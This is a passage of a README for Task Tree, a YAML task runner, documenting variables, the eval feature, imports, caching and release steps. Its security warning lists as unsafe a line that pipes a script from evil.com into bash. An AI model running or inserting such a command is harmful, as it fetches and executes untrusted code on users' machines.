659
|
+
|
|
660
|
+
**Example use cases:**
|
|
661
|
+
|
|
662
|
+
```yaml
|
|
663
|
+
tasks:
|
|
664
|
+
# Compile for different platforms
|
|
665
|
+
compile:
|
|
666
|
+
args: [target]
|
|
667
|
+
cmd: cargo build --target {{arg.target}}
|
|
668
|
+
|
|
669
|
+
dist:
|
|
670
|
+
deps:
|
|
671
|
+
- compile: [x86_64-unknown-linux-gnu]
|
|
672
|
+
- compile: [aarch64-unknown-linux-gnu]
|
|
673
|
+
cmd: tar czf dist.tar.gz target/*/release/app
|
|
674
|
+
|
|
675
|
+
# Run tests with different configurations
|
|
676
|
+
test:
|
|
677
|
+
args: [config]
|
|
678
|
+
cmd: pytest --config={{arg.config}}
|
|
679
|
+
|
|
680
|
+
ci:
|
|
681
|
+
deps:
|
|
682
|
+
- test: [unit]
|
|
683
|
+
- test: [integration]
|
|
684
|
+
- test: [e2e]
|
|
685
|
+
cmd: echo "All tests passed"
|
|
686
|
+
```
|
|
687
|
+
|
|
688
|
+
## Environment Variables
|
|
689
|
+
|
|
690
|
+
Task Tree supports reading environment variables in two ways:
|
|
691
|
+
|
|
692
|
+
### Direct Substitution
|
|
693
|
+
|
|
694
|
+
Reference environment variables directly in task commands using `{{ env.VAR_NAME }}`:
|
|
695
|
+
|
|
696
|
+
```yaml
|
|
697
|
+
tasks:
|
|
698
|
+
deploy:
|
|
699
|
+
args: [target]
|
|
700
|
+
cmd: |
|
|
701
|
+
echo "Deploying to {{ arg.target }}"
|
|
702
|
+
echo "User: {{ env.USER }}"
|
|
703
|
+
scp package.tar.gz {{ env.DEPLOY_USER }}@{{ arg.target }}:/opt/
|
|
704
|
+
```
|
|
705
|
+
|
|
706
|
+
```bash
|
|
707
|
+
export DEPLOY_USER=admin
|
|
708
|
+
tt deploy production
|
|
709
|
+
```
|
|
710
|
+
|
|
711
|
+
Environment variables are resolved at execution time, just before the task runs.
|
|
712
|
+
|
|
713
|
+
### Via Variables Section
|
|
714
|
+
|
|
715
|
+
For more complex scenarios, define environment variables in the `variables` section:
|
|
716
|
+
|
|
717
|
+
```yaml
|
|
718
|
+
variables:
|
|
719
|
+
# Direct env reference (resolved at parse time)
|
|
720
|
+
api_key: { env: API_KEY }
|
|
721
|
+
db_host: { env: DATABASE_HOST }
|
|
722
|
+
|
|
723
|
+
# Or using string substitution
|
|
724
|
+
deploy_user: "{{ env.DEPLOY_USER }}"
|
|
725
|
+
|
|
726
|
+
# Compose with other variables
|
|
727
|
+
connection: "{{ var.db_host }}:5432"
|
|
728
|
+
api_url: "https://{{ var.db_host }}/api"
|
|
729
|
+
|
|
730
|
+
tasks:
|
|
731
|
+
deploy:
|
|
732
|
+
cmd: |
|
|
733
|
+
curl -H "Authorization: Bearer {{ var.api_key }}" {{ var.api_url }}
|
|
734
|
+
ssh {{ var.deploy_user }}@{{ var.db_host }} /opt/deploy.sh
|
|
735
|
+
```
|
|
736
|
+
|
|
737
|
+
**Key differences:**
|
|
738
|
+
- **`{ env: VAR }`** — Resolved at parse time (when `tt` starts)
|
|
739
|
+
- **`"{{ env.VAR }}"`** — Resolved at parse time in variables, execution time in tasks
|
|
740
|
+
- **Direct `{{ env.VAR }}`** — Resolved at execution time
|
|
741
|
+
|
|
742
|
+
### When to Use Which
|
|
743
|
+
|
|
744
|
+
**Use direct substitution** (`{{ env.VAR }}`) when:
|
|
745
|
+
- You need simple, one-off environment variable references
|
|
746
|
+
- The value is used in a single place
|
|
747
|
+
- You want the value resolved at execution time
|
|
748
|
+
|
|
749
|
+
**Use variables section** when:
|
|
750
|
+
- You need to compose values from multiple sources
|
|
751
|
+
- The same value is used in multiple places
|
|
752
|
+
- You need variable-in-variable expansion
|
|
753
|
+
|
|
754
|
+
**Examples:**
|
|
755
|
+
|
|
756
|
+
```yaml
|
|
757
|
+
variables:
|
|
758
|
+
# Compose configuration from environment
|
|
759
|
+
home: { env: HOME }
|
|
760
|
+
config_dir: "{{ var.home }}/.myapp"
|
|
761
|
+
|
|
762
|
+
tasks:
|
|
763
|
+
# Direct reference for simple cases
|
|
764
|
+
show-user:
|
|
765
|
+
cmd: echo "Running as {{ env.USER }}"
|
|
766
|
+
|
|
767
|
+
# Mixed usage
|
|
768
|
+
deploy:
|
|
769
|
+
args: [app]
|
|
770
|
+
cmd: |
|
|
771
|
+
echo "Config: {{ var.config_dir }}"
|
|
772
|
+
echo "Deploying {{ arg.app }} as {{ env.DEPLOY_USER }}"
|
|
773
|
+
```
|
|
774
|
+
|
|
775
|
+
**Environment variable values are always strings**, even if they look like numbers.
|
|
776
|
+
|
|
777
|
+
### Working Directory
|
|
778
|
+
|
|
779
|
+
Environment variables work in `working_dir` as well:
|
|
780
|
+
|
|
781
|
+
```yaml
|
|
782
|
+
tasks:
|
|
783
|
+
build:
|
|
784
|
+
working_dir: "{{ env.BUILD_DIR }}"
|
|
785
|
+
cmd: make all
|
|
786
|
+
```
|
|
787
|
+
|
|
788
|
+
### Evaluating Commands in Variables
|
|
789
|
+
|
|
790
|
+
Variables can be populated by executing shell commands using `{ eval: command }`:
|
|
791
|
+
|
|
792
|
+
```yaml
|
|
793
|
+
variables:
|
|
794
|
+
git_hash: { eval: "git rev-parse --short HEAD" }
|
|
795
|
+
timestamp: { eval: "date +%Y%m%d-%H%M%S" }
|
|
796
|
+
image_tag: "myapp:{{ var.git_hash }}"
|
|
797
|
+
|
|
798
|
+
tasks:
|
|
799
|
+
build:
|
|
800
|
+
cmd: docker build -t {{ var.image_tag }} .
|
|
801
|
+
```
|
|
802
|
+
|
|
803
|
+
**Execution:**
|
|
804
|
+
|
|
805
|
+
- Commands are executed when `tt` starts (parse time), before any task execution
|
|
806
|
+
- Working directory is the recipe file location
|
|
807
|
+
- Uses `default_env` shell if specified in the recipe, otherwise platform default (bash on Unix, cmd on Windows)
|
|
808
|
+
- Stdout is captured as the variable value
|
|
809
|
+
- Stderr is ignored (or printed to terminal, not captured)
|
|
810
|
+
- Trailing newline is automatically stripped (like `{ read: ... }`)
|
|
811
|
+
|
|
812
|
+
**Exit codes:**
|
|
813
|
+
|
|
814
|
+
Commands must succeed (exit code 0) or `tt` will fail with an error:
|
|
815
|
+
|
|
816
|
+
```
|
|
817
|
+
Command failed for variable 'git_hash': git rev-parse --short HEAD
|
|
818
|
+
Exit code: 128
|
|
819
|
+
stderr: fatal: not a git repository (or any of the parent directories): .git
|
|
820
|
+
|
|
821
|
+
Ensure the command succeeds when run from the recipe file location.
|
|
822
|
+
```
|
|
823
|
+
|
|
824
|
+
**⚠️ Security Warning**
|
|
825
|
+
|
|
826
|
+
The `{ eval: command }` feature executes shell commands with your current permissions when `tt` starts.
|
|
827
|
+
|
|
828
|
+
**DO NOT** use recipes from untrusted sources that contain `{ eval: ... }`.
|
|
829
|
+
|
|
830
|
+
Commands execute with:
|
|
831
|
+
- Your current user permissions
|
|
832
|
+
- Access to your environment variables
|
|
833
|
+
- The recipe file directory as working directory
|
|
834
|
+
|
|
835
|
+
**Best practices:**
|
|
836
|
+
- Only use `eval` in recipes you've written or thoroughly reviewed
|
|
837
|
+
- Avoid complex commands with side effects
|
|
838
|
+
- Prefer `{ read: file }` or `{ env: VAR }` when possible
|
|
839
|
+
- Use for read-only operations (git info, vault reads, system info)
|
|
840
|
+
|
|
841
|
+
**Example safe uses:**
|
|
842
|
+
|
|
843
|
+
```yaml
|
|
844
|
+
variables:
|
|
845
|
+
# Version control information
|
|
846
|
+
version: { eval: "git describe --tags" }
|
|
847
|
+
commit: { eval: "git rev-parse HEAD" }
|
|
848
|
+
branch: { eval: "git rev-parse --abbrev-ref HEAD" }
|
|
849
|
+
|
|
850
|
+
# System information
|
|
851
|
+
hostname: { eval: "hostname" }
|
|
852
|
+
username: { eval: "whoami" }
|
|
853
|
+
|
|
854
|
+
# Secrets management (read-only)
|
|
855
|
+
vault_token: { eval: "vault read -field=token secret/api" }
|
|
856
|
+
```
|
|
857
|
+
|
|
858
|
+
**Example unsafe uses:**
|
|
859
|
+
|
|
860
|
+
```yaml
|
|
861
|
+
variables:
|
|
862
|
+
# DON'T DO THIS - modifies state at parse time
|
|
863
|
+
counter: { eval: "expr $(cat counter) + 1 > counter && cat counter" }
|
|
864
|
+
|
|
865
|
+
# DON'T DO THIS - downloads and executes code
|
|
866
|
+
script: { eval: "curl https://evil.com/script.sh | bash" }
|
|
867
|
+
```
|
|
868
|
+
|
|
869
|
+
**Use cases:**
|
|
870
|
+
|
|
871
|
+
1. **Version control info** - Embed git commit hashes, tags, or branch names in builds
|
|
872
|
+
2. **Secrets management** - Read API tokens from secret vaults (Vault, AWS Secrets Manager, etc.)
|
|
873
|
+
3. **System information** - Capture hostname, username, or timestamp for deployments
|
|
874
|
+
4. **Dynamic configuration** - Read values from external tools or configuration systems
|
|
875
|
+
|
|
876
|
+
**Type handling:**
|
|
877
|
+
|
|
878
|
+
Eval output is always a string, even if the command outputs a number:
|
|
879
|
+
|
|
880
|
+
```yaml
|
|
881
|
+
variables:
|
|
882
|
+
port: { eval: "echo 8080" } # port = "8080" (string, not int)
|
|
883
|
+
```
|
|
884
|
+
|
|
885
|
+
**Performance note:**
|
|
886
|
+
|
|
887
|
+
Every `{ eval: ... }` runs a subprocess at parse time, adding startup latency. For frequently-run tasks, consider caching results in files or using `{ read: ... }` to read pre-computed values.
|
|
888
|
+
|
|
889
|
+
## Built-in Variables
|
|
890
|
+
|
|
891
|
+
Task Tree provides system-provided variables that tasks can reference using `{{ tt.variable_name }}` syntax. These provide access to common system information without requiring manual configuration.
|
|
892
|
+
|
|
893
|
+
### Available Variables
|
|
894
|
+
|
|
895
|
+
| Variable | Description | Example Value |
|
|
896
|
+
|----------|-------------|---------------|
|
|
897
|
+
| `{{ tt.project_root }}` | Absolute path to project root (where `.tasktree-state` lives) | `/home/user/myproject` |
|
|
898
|
+
| `{{ tt.recipe_dir }}` | Absolute path to directory containing the recipe file | `/home/user/myproject` or `/home/user/myproject/subdir` |
|
|
899
|
+
| `{{ tt.task_name }}` | Name of currently executing task | `build` |
|
|
900
|
+
| `{{ tt.working_dir }}` | Absolute path to task's effective working directory | `/home/user/myproject/src` |
|
|
901
|
+
| `{{ tt.timestamp }}` | ISO8601 timestamp when task started execution | `2024-12-28T14:30:45Z` |
|
|
902
|
+
| `{{ tt.timestamp_unix }}` | Unix epoch timestamp when task started | `1703772645` |
|
|
903
|
+
| `{{ tt.user_home }}` | Current user's home directory (cross-platform) | `/home/user` or `C:\Users\user` |
|
|
904
|
+
| `{{ tt.user_name }}` | Current username | `alice` |
|
|
905
|
+
|
|
906
|
+
### Usage Examples
|
|
907
|
+
|
|
908
|
+
**Logging with timestamps:**
|
|
909
|
+
|
|
910
|
+
```yaml
|
|
911
|
+
tasks:
|
|
912
|
+
build:
|
|
913
|
+
cmd: |
|
|
914
|
+
echo "Building {{ tt.task_name }} at {{ tt.timestamp }}"
|
|
915
|
+
cargo build --release
|
|
916
|
+
```
|
|
917
|
+
|
|
918
|
+
**Artifact naming:**
|
|
919
|
+
|
|
920
|
+
```yaml
|
|
921
|
+
tasks:
|
|
922
|
+
package:
|
|
923
|
+
deps: [build]
|
|
924
|
+
cmd: |
|
|
925
|
+
mkdir -p {{ tt.project_root }}/dist
|
|
926
|
+
tar czf {{ tt.project_root }}/dist/app-{{ tt.timestamp_unix }}.tar.gz target/release/
|
|
927
|
+
```
|
|
928
|
+
|
|
929
|
+
**Cross-platform paths:**
|
|
930
|
+
|
|
931
|
+
```yaml
|
|
932
|
+
tasks:
|
|
933
|
+
copy-config:
|
|
934
|
+
cmd: cp config.yaml {{ tt.user_home }}/.myapp/config.yaml
|
|
935
|
+
```
|
|
936
|
+
|
|
937
|
+
**Mixed with other variables:**
|
|
938
|
+
|
|
939
|
+
```yaml
|
|
940
|
+
variables:
|
|
941
|
+
version: { eval: "git describe --tags" }
|
|
942
|
+
|
|
943
|
+
tasks:
|
|
944
|
+
deploy:
|
|
945
|
+
args: [environment]
|
|
946
|
+
cmd: |
|
|
947
|
+
echo "Deploying version {{ var.version }} to {{ arg.environment }}"
|
|
948
|
+
echo "From {{ tt.project_root }} by {{ tt.user_name }}"
|
|
949
|
+
./deploy.sh {{ arg.environment }}
|
|
950
|
+
```
|
|
951
|
+
|
|
952
|
+
### Important Notes
|
|
953
|
+
|
|
954
|
+
- **Timestamp consistency**: The same timestamp is used throughout a single task execution (all references to `{{ tt.timestamp }}` and `{{ tt.timestamp_unix }}` within one task will have identical values)
|
|
955
|
+
- **Working directory**: `{{ tt.working_dir }}` reflects the task's `working_dir` setting, or the project root if not specified
|
|
956
|
+
- **Recipe vs Project**: `{{ tt.recipe_dir }}` points to where the recipe file is located, while `{{ tt.project_root }}` points to where the `.tasktree-state` file is (usually the same, but can differ)
|
|
957
|
+
- **Username fallback**: If `os.getlogin()` fails, `{{ tt.user_name }}` falls back to `$USER` or `$USERNAME` environment variables, or `"unknown"` if neither is set
|
|
958
|
+
|
|
959
|
+
## File Imports
|
|
960
|
+
|
|
961
|
+
Split task definitions across multiple files for better organisation:
|
|
962
|
+
|
|
963
|
+
```yaml
|
|
964
|
+
# tasktree.yaml
|
|
965
|
+
imports:
|
|
966
|
+
- file: build/tasks.yml
|
|
967
|
+
as: build
|
|
968
|
+
- file: deploy/tasks.yml
|
|
969
|
+
as: deploy
|
|
970
|
+
|
|
971
|
+
tasks:
|
|
972
|
+
test:
|
|
973
|
+
deps: [build.compile, build.test-compile]
|
|
974
|
+
cmd: ./run-tests.sh
|
|
975
|
+
|
|
976
|
+
ci:
|
|
977
|
+
deps: [build.all, test, deploy.staging]
|
|
978
|
+
```
|
|
979
|
+
|
|
980
|
+
Imported tasks are namespaced and can be referenced as dependencies. Each imported file is self-contained—it cannot depend on tasks in the importing file.
|
|
981
|
+
|
|
982
|
+
## Glob Patterns
|
|
983
|
+
|
|
984
|
+
Input and output patterns support standard glob syntax:
|
|
985
|
+
|
|
986
|
+
- `src/*.rs` — All Rust files in `src/`
|
|
987
|
+
- `src/**/*.rs` — All Rust files recursively
|
|
988
|
+
- `{file1,file2}` — Specific files
|
|
989
|
+
- `**/*.{js,ts}` — Multiple extensions recursively
|
|
990
|
+
|
|
991
|
+
## State Management
|
|
992
|
+
|
|
993
|
+
### How State Works
|
|
994
|
+
|
|
995
|
+
Each task is identified by a hash of its definition. The hash includes:
|
|
996
|
+
|
|
997
|
+
- Command to execute
|
|
998
|
+
- Output patterns
|
|
999
|
+
- Working directory
|
|
1000
|
+
- Argument definitions
|
|
1001
|
+
- Execution environment
|
|
1002
|
+
|
|
1003
|
+
State tracks:
|
|
1004
|
+
- When the task last ran
|
|
1005
|
+
- Timestamps of input files at that time
|
|
1006
|
+
|
|
1007
|
+
Tasks are re-run when their definition changes, inputs are newer than the last run, or the environment changes.
|
|
1008
|
+
|
|
1009
|
+
### What's Not In The Hash
|
|
1010
|
+
|
|
1011
|
+
Changes to these don't invalidate cached state:
|
|
1012
|
+
|
|
1013
|
+
- Task name (tasks can be renamed freely)
|
|
1014
|
+
- Description
|
|
1015
|
+
- Dependencies (only affects execution order)
|
|
1016
|
+
- Explicit inputs (tracked by timestamp, not definition)
|
|
1017
|
+
|
|
1018
|
+
### Automatic Cleanup
|
|
1019
|
+
|
|
1020
|
+
At the start of each invocation, state is checked for invalid task hashes and non-existent ones are automatically removed. Delete a task from your recipe file and its state disappears the next time you run `tt <cmd>`
|
|
1021
|
+
|
|
1022
|
+
## Command-Line Options
|
|
1023
|
+
|
|
1024
|
+
Task Tree provides several command-line options for controlling task execution:
|
|
1025
|
+
|
|
1026
|
+
### Execution Control
|
|
1027
|
+
|
|
1028
|
+
```bash
|
|
1029
|
+
# Force re-run (ignore freshness checks)
|
|
1030
|
+
tt --force build
|
|
1031
|
+
tt -f build
|
|
1032
|
+
|
|
1033
|
+
# Run only the specified task, skip dependencies (implies --force)
|
|
1034
|
+
tt --only deploy
|
|
1035
|
+
tt -o deploy
|
|
1036
|
+
|
|
1037
|
+
# Override environment for all tasks
|
|
1038
|
+
tt --env python analyze
|
|
1039
|
+
tt -e powershell build
|
|
1040
|
+
```
|
|
1041
|
+
|
|
1042
|
+
### Information Commands
|
|
1043
|
+
|
|
1044
|
+
```bash
|
|
1045
|
+
# List all available tasks
|
|
1046
|
+
tt --list
|
|
1047
|
+
tt -l
|
|
1048
|
+
|
|
1049
|
+
# Show detailed task definition
|
|
1050
|
+
tt --show build
|
|
1051
|
+
|
|
1052
|
+
# Show dependency tree (without execution)
|
|
1053
|
+
tt --tree deploy
|
|
1054
|
+
|
|
1055
|
+
# Show version
|
|
1056
|
+
tt --version
|
|
1057
|
+
tt -v
|
|
1058
|
+
|
|
1059
|
+
# Create a blank recipe file
|
|
1060
|
+
tt --init
|
|
1061
|
+
```
|
|
1062
|
+
|
|
1063
|
+
### State Management
|
|
1064
|
+
|
|
1065
|
+
```bash
|
|
1066
|
+
# Remove state file (reset task cache)
|
|
1067
|
+
tt --clean
|
|
1068
|
+
tt --clean-state
|
|
1069
|
+
tt --reset
|
|
1070
|
+
```
|
|
1071
|
+
|
|
1072
|
+
### Common Workflows
|
|
1073
|
+
|
|
1074
|
+
```bash
|
|
1075
|
+
# Fresh build of everything
|
|
1076
|
+
tt --force build
|
|
1077
|
+
|
|
1078
|
+
# Run a task without rebuilding dependencies
|
|
1079
|
+
tt --only test
|
|
1080
|
+
|
|
1081
|
+
# Test with a different shell/environment
|
|
1082
|
+
tt --env python test
|
|
1083
|
+
|
|
1084
|
+
# Force rebuild and deploy
|
|
1085
|
+
tt --force deploy production
|
|
1086
|
+
```
|
|
1087
|
+
|
|
1088
|
+
## Example: Full Build Pipeline
|
|
1089
|
+
|
|
1090
|
+
```yaml
|
|
1091
|
+
imports:
|
|
1092
|
+
- file: common/docker.yml
|
|
1093
|
+
as: docker
|
|
1094
|
+
|
|
1095
|
+
tasks:
|
|
1096
|
+
compile:
|
|
1097
|
+
desc: Build application binaries
|
|
1098
|
+
outputs: [target/release/app]
|
|
1099
|
+
cmd: cargo build --release
|
|
1100
|
+
|
|
1101
|
+
test-unit:
|
|
1102
|
+
desc: Run unit tests
|
|
1103
|
+
deps: [compile]
|
|
1104
|
+
cmd: cargo test
|
|
1105
|
+
|
|
1106
|
+
package:
|
|
1107
|
+
desc: Create distribution archive
|
|
1108
|
+
deps: [compile]
|
|
1109
|
+
outputs: [dist/app-{{ arg.version }}.tar.gz]
|
|
1110
|
+
args: [version]
|
|
1111
|
+
cmd: |
|
|
1112
|
+
mkdir -p dist
|
|
1113
|
+
tar czf dist/app-{{ arg.version }}.tar.gz \
|
|
1114
|
+
target/release/app \
|
|
1115
|
+
config/ \
|
|
1116
|
+
migrations/
|
|
1117
|
+
|
|
1118
|
+
deploy:
|
|
1119
|
+
desc: Deploy to environment
|
|
1120
|
+
deps: [package, docker.build-runtime]
|
|
1121
|
+
args: [environment, version]
|
|
1122
|
+
cmd: |
|
|
1123
|
+
scp dist/app-{{ arg.version }}.tar.gz {{ env.DEPLOY_USER }}@{{ arg.environment }}:/opt/
|
|
1124
|
+
ssh {{ env.DEPLOY_USER }}@{{ arg.environment }} /opt/deploy.sh {{ arg.version }}
|
|
1125
|
+
|
|
1126
|
+
integration-test:
|
|
1127
|
+
desc: Run integration tests against deployed environment
|
|
1128
|
+
deps: [deploy]
|
|
1129
|
+
args: [environment, version]
|
|
1130
|
+
cmd: pytest tests/integration/ --env={{ arg.environment }}
|
|
1131
|
+
```
|
|
1132
|
+
|
|
1133
|
+
Run the full pipeline:
|
|
1134
|
+
|
|
1135
|
+
```bash
|
|
1136
|
+
export DEPLOY_USER=admin
|
|
1137
|
+
tt integration-test staging version=1.2.3
|
|
1138
|
+
```
|
|
1139
|
+
|
|
1140
|
+
This will:
|
|
1141
|
+
1. Compile if sources have changed
|
|
1142
|
+
2. Run unit tests if compilation ran
|
|
1143
|
+
3. Package if compilation ran or version argument is new
|
|
1144
|
+
4. Build Docker runtime (from imported file) if needed
|
|
1145
|
+
5. Deploy if package or Docker image changed
|
|
1146
|
+
6. Run integration tests (always runs)
|
|
1147
|
+
|
|
1148
|
+
## Implementation Notes
|
|
1149
|
+
|
|
1150
|
+
Built with Python 3.11+ using:
|
|
1151
|
+
|
|
1152
|
+
- **PyYAML** for recipe parsing
|
|
1153
|
+
- **Typer**, **Click**, **Rich** for CLI
|
|
1154
|
+
- **graphlib.TopologicalSorter** for dependency resolution
|
|
1155
|
+
- **pathlib** for file operations and glob expansion
|
|
1156
|
+
|
|
1157
|
+
State file uses JSON format for simplicity and standard library compatibility.
|
|
1158
|
+
|
|
1159
|
+
## Development
|
|
1160
|
+
|
|
1161
|
+
### Setup Development Environment
|
|
1162
|
+
|
|
1163
|
+
```bash
|
|
1164
|
+
# Clone repository
|
|
1165
|
+
git clone https://github.com/kevinchannon/task-tree.git
|
|
1166
|
+
cd tasktree
|
|
1167
|
+
|
|
1168
|
+
# Install uv (if not already installed)
|
|
1169
|
+
curl -LsSf https://astral.sh/uv/install.sh | sh
|
|
1170
|
+
|
|
1171
|
+
# Install dependencies
|
|
1172
|
+
uv sync
|
|
1173
|
+
|
|
1174
|
+
# Install in editable mode
|
|
1175
|
+
pipx install -e .
|
|
1176
|
+
```
|
|
1177
|
+
|
|
1178
|
+
### Running Tests
|
|
1179
|
+
|
|
1180
|
+
```bash
|
|
1181
|
+
# Run all tests
|
|
1182
|
+
uv run pytest
|
|
1183
|
+
|
|
1184
|
+
# Run with verbose output
|
|
1185
|
+
uv run pytest -v
|
|
1186
|
+
|
|
1187
|
+
# Run specific test file
|
|
1188
|
+
uv run pytest tests/unit/test_executor.py
|
|
1189
|
+
```
|
|
1190
|
+
|
|
1191
|
+
### Using Task Tree for Development
|
|
1192
|
+
|
|
1193
|
+
The repository includes a `tasktree.yaml` with development tasks:
|
|
1194
|
+
|
|
1195
|
+
```bash
|
|
1196
|
+
tt test # Run tests
|
|
1197
|
+
tt build # Build wheel package
|
|
1198
|
+
tt install-dev # Install package in development mode
|
|
1199
|
+
tt clean # Remove build artifacts
|
|
1200
|
+
```
|
|
1201
|
+
|
|
1202
|
+
## Releasing
|
|
1203
|
+
|
|
1204
|
+
New releases are created by pushing version tags to GitHub. The release workflow automatically:
|
|
1205
|
+
- Builds wheel and source distributions
|
|
1206
|
+
- Creates a GitHub Release with artifacts
|
|
1207
|
+
- Publishes to PyPI via trusted publishing
|
|
1208
|
+
|
|
1209
|
+
### Release Process
|
|
1210
|
+
|
|
1211
|
+
1. Ensure main branch is ready:
|
|
1212
|
+
```bash
|
|
1213
|
+
git checkout main
|
|
1214
|
+
git pull
|
|
1215
|
+
```
|
|
1216
|
+
|
|
1217
|
+
2. Create and push a version tag:
|
|
1218
|
+
```bash
|
|
1219
|
+
git tag v1.0.0
|
|
1220
|
+
git push origin v1.0.0
|
|
1221
|
+
```
|
|
1222
|
+
|
|
1223
|
+
3. GitHub Actions will automatically:
|
|
1224
|
+
- Extract version from tag (e.g., `v1.0.0` → `1.0.0`)
|
|
1225
|
+
- Update `pyproject.toml` with the version
|
|
1226
|
+
- Build wheel and sdist
|
|
1227
|
+
- Create GitHub Release
|
|
1228
|
+
- Publish to PyPI
|
|
1229
|
+
|
|
1230
|
+
4. Verify the release:
|
|
1231
|
+
- GitHub: https://github.com/kevinchannon/task-tree/releases
|
|
1232
|
+
- PyPI: https://pypi.org/kevinchannon/tasktree/
|
|
1233
|
+
- Test: `pipx install --force tasktree`
|
|
1234
|
+
|
|
1235
|
+
### Version Numbering
|
|
1236
|
+
|
|
1237
|
+
Follow semantic versioning:
|
|
1238
|
+
- `v1.0.0` - Major release (breaking changes)
|
|
1239
|
+
- `v1.1.0` - Minor release (new features, backward compatible)
|
|
1240
|
+
- `v1.1.1` - Patch release (bug fixes)
|